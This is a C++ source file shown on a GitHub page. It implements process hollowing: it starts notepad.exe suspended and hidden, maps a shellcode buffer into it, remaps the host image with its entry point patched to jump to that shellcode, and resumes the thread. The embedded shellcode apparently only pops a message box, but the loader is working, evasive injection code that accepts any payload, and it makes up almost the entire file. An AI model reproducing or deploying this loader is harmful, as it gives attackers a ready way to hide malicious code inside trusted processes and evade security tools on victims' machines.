-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathSProcessHollowing.cpp
More file actions
231 lines (186 loc) · 8.6 KB
/
Copy pathSProcessHollowing.cpp
File metadata and controls
231 lines (186 loc) · 8.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
#include "Header.h"
myNtCreateSection fNtCreateSection = (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"),
"NtCreateSection"));
myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"),
"NtMapViewOfSection"));
myZwUnmapViewOfSection fZwUnmapViewOfSection = (myZwUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"),
"ZwUnmapViewOfSection"));
myNtGetContextThread fNtGetContextThread = (myNtGetContextThread)(GetProcAddress(GetModuleHandleA("ntdll"),
"NtGetContextThread"));
myNtSetContextThread fNtSetContextThread = (myNtSetContextThread)(GetProcAddress(GetModuleHandleA("ntdll"),
"NtSetContextThread"));
DWORD GetSizeOfImage(BYTE* processImage)
{
IMAGE_DOS_HEADER* dosHeader = NULL;
IMAGE_NT_HEADERS* ntHeaders = NULL;
dosHeader = (IMAGE_DOS_HEADER*)processImage;
ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)processImage + dosHeader->e_lfanew);
return ntHeaders->OptionalHeader.SizeOfImage;
}
DWORD GetEntryPoint(BYTE* processImage)
{
IMAGE_DOS_HEADER* dosHeader = NULL;
IMAGE_NT_HEADERS* ntHeaders = NULL;
dosHeader = (IMAGE_DOS_HEADER*)processImage;
ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)processImage + dosHeader->e_lfanew);
return (ntHeaders->OptionalHeader.AddressOfEntryPoint);
}
PVOID PatchHostProcess(HOST* hostProcess, PVOID shellcodeAddress)
{
// read enough bytes to get the size of image
SIZE_T bytesRead = 0;
BYTE* imageData = new(BYTE[SECTION_SIZE]);
// both calls read the same chunk of same size because this readprocessmemory fails we change the size
if (!ReadProcessMemory(hostProcess->processHandle, (LPCVOID)hostProcess->imageBaseAddress, imageData,
SECTION_SIZE, &bytesRead) && bytesRead != SECTION_SIZE)
{
std::cout << "failed to read image headers\n";
return NULL;
}
DWORD sizeOfImage = GetSizeOfImage(imageData);
delete[] imageData;
BYTE* processImage = new(BYTE[sizeOfImage]);
if (!ReadProcessMemory(hostProcess->processHandle, (LPCVOID)hostProcess->imageBaseAddress, processImage,
sizeOfImage, &bytesRead) && bytesRead != sizeOfImage)
{
std::cout << "failed to read memory\n";
return NULL;
}
DWORD entryPoint = GetEntryPoint(processImage);
std::cout << "[!]Original entry point : 0x" << std::hex << hostProcess->imageBaseAddress + entryPoint << std::endl;
memset(processImage + entryPoint, 0x90, 5);
DWORD processEntry = hostProcess->imageBaseAddress + entryPoint;
DWORD relativeAddr = (((DWORD)shellcodeAddress - processEntry) - 5);
*((BYTE*)processImage + entryPoint) = 0xe9; // jmp
*(uintptr_t*)((uintptr_t)processImage + entryPoint + 1) = relativeAddr; // address
LARGE_INTEGER sectionSize = { sizeOfImage };
HANDLE sectionHandle = NULL;
PVOID sectionAddress = NULL;
if (fNtCreateSection(§ionHandle, SECTION_ALL_ACCESS, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE,
SEC_COMMIT, NULL) != STATUS_SUCCESS)
{
std::cout << "create section failed\n";
return NULL;
}
if (fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), §ionAddress, NULL, NULL, NULL, &bytesRead, 2, NULL,
PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS)
{
std::cout << "create section failed\n";
return NULL;
}
std::cout << "[!]replacing patched process image at 0x" << std::hex << hostProcess->imageBaseAddress << std::endl;
memcpy(sectionAddress, processImage, sizeOfImage);
sectionAddress = (PVOID)hostProcess->imageBaseAddress;
if (fZwUnmapViewOfSection(hostProcess->processHandle, sectionAddress) != STATUS_SUCCESS)
{
std::cout << "unmapping failed\n";
return NULL;
}
if (fNtMapViewOfSection(sectionHandle, hostProcess->processHandle, §ionAddress, NULL, NULL, NULL,
&bytesRead, 2, NULL, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS)
{
std::cout << "create section failed\n";
return NULL;
}
CloseHandle(sectionHandle);
delete[] processImage;
return (PVOID)processEntry;
}
PVOID InjectShellcode(HOST* hostProcess, SHELLCODE* s)
{
LARGE_INTEGER sectionSize = { s->shellcodeSize };
HANDLE sectionHandle = NULL;
PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
// create a read write execute memory region in the local process
if (fNtCreateSection(§ionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL,
(PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL) != STATUS_SUCCESS)
{
std::cout << "[x]Create section failed\n";
return NULL;
}
// create a view of the memory section in the local process
if (fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL,
&s->shellcodeSize, 2, NULL, PAGE_READWRITE) != STATUS_SUCCESS)
{
std::cout << "[x]Create map failed\n";
return NULL;
}
// create a map view of the section in the target process
if (fNtMapViewOfSection(sectionHandle, hostProcess->processHandle, &remoteSectionAddress, NULL, NULL, NULL,
&s->shellcodeSize, 2, NULL, PAGE_EXECUTE_READ) != STATUS_SUCCESS)
{
std::cout << "[x]Create map failed\n";
return NULL;
}
memcpy(localSectionAddress, s->shellcode, s->shellcodeSize);
std::cout << "[!]Shellcode injected to 0x" << std::hex << (DWORD)remoteSectionAddress << std::endl;
CloseHandle(sectionHandle);
return remoteSectionAddress;
}
int main(void)
{
unsigned char buf[] =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
"\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67"
"\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3"
"\x68\x6b\x74\x58\x20\x68\x74\x20\x72\x65\x68\x45\x3d\x67\x65"
"\x68\x54\x49\x54\x4c\x68\x72\x65\x6b\x74\x68\x67\x65\x74\x20"
"\x31\xc9\x88\x4c\x24\x16\x89\xe1\x31\xd2\x52\x53\x51\x52\xff"
"\xd0\x31\xc0\x50\xff\x55\x08";
HOST* hostProcess = new HOST();
LPSTARTUPINFOA si = new STARTUPINFOA();
LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
PROCESS_BASIC_INFORMATION* pbi = new PROCESS_BASIC_INFORMATION();
DWORD returnLength = 0;
CONTEXT ctx;
SHELLCODE* s = new SHELLCODE();
s->shellcode = buf;
s->shellcodeSize = sizeof(buf);
if (CreateProcessA("C:\\Windows\\System32\\notepad.exe", (LPSTR)"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, si, pi) == FALSE)
{
std::cout << "[x]Failed to execute notepad.exe\n";
return FALSE;
}
std::cout << "[!]Executed notepad.exe\n";
hostProcess->processHandle = pi->hProcess;
ctx.ContextFlags = CONTEXT_FULL;
fNtGetContextThread(pi->hThread, &ctx); // getting thread context
NtQueryInformationProcess(hostProcess->processHandle, ProcessBasicInformation, pbi,
sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
DWORD pebImageBaseOffset = (DWORD)pbi->PebBaseAddress + 0x8;
SIZE_T bytesRead = 0;
if (!ReadProcessMemory(hostProcess->processHandle, (LPCVOID)pebImageBaseOffset, &hostProcess->imageBaseAddress,
4, &bytesRead) && bytesRead != 4)
{
std::cout << "failed to read image base address" << std::endl;
return -1;
}
PVOID remoteShellcodeAddress = InjectShellcode(hostProcess, s);
if (remoteShellcodeAddress == NULL)
{
std::cout << "shellcode injection failed\n";
return -1;
}
PVOID addr = NULL;
if ((addr = PatchHostProcess(hostProcess, remoteShellcodeAddress)) == NULL)
{
std::cout << "failed tp patch host\n";
return -1;
}
fNtSetContextThread(pi->hThread, &ctx);
std::cout << "[!] Resumed thread\n";
ResumeThread(pi->hThread);
}